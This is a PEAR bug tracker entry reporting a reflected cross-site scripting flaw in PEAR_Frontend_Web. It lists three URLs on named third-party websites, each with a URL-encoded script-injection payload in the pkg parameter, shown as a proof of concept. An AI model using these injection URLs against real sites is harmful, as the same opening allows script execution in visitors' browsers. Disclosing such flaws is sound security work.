Package home | Report new bug | New search | Development Roadmap Status: Open | Feedback | All | Closed Since Version 0.7.5
Bug #21245 xss reflected on pear package management system
Submitted: 2017-10-06 07:17 UTC
From: lacrouteserge Assigned:
Status: Open Package: PEAR_Frontend_Web
PHP Version: Irrelevant OS:
Roadmaps: (Not assigned)    
Subscription  
Comments Add Comment Add patch


Anyone can comment on a bug. Have a simpler test case? Does it work for you on a different platform? Let us know! Just going to say 'Me too!'? Don't clutter the database with that please !
Your email address:
MUST BE VALID
Solve the problem : 28 + 19 = ?

 
 [2017-10-06 07:17 UTC] lacrouteserge (serge lacroute)
Description: ------------ xss reflected on pear package management system http://www.refreshltd.co.uk/index.php?command=info&pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E http://www.sagamicc.org/install/index.php?command=info&pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E http://funrunwalk.nz/pear/index.php?command=info&pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E Test script: --------------- xss reflected on pear package management system http://www.refreshltd.co.uk/index.php?command=info&pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E http://www.sagamicc.org/install/index.php?command=info&pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E http://funrunwalk.nz/pear/index.php?command=info&pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E Expected result: ---------------- view popup

Comments

 [2017-10-06 11:45 UTC] cweiske (Christian Weiske)
-Package: PEAR +Package: PEAR_Frontend_Web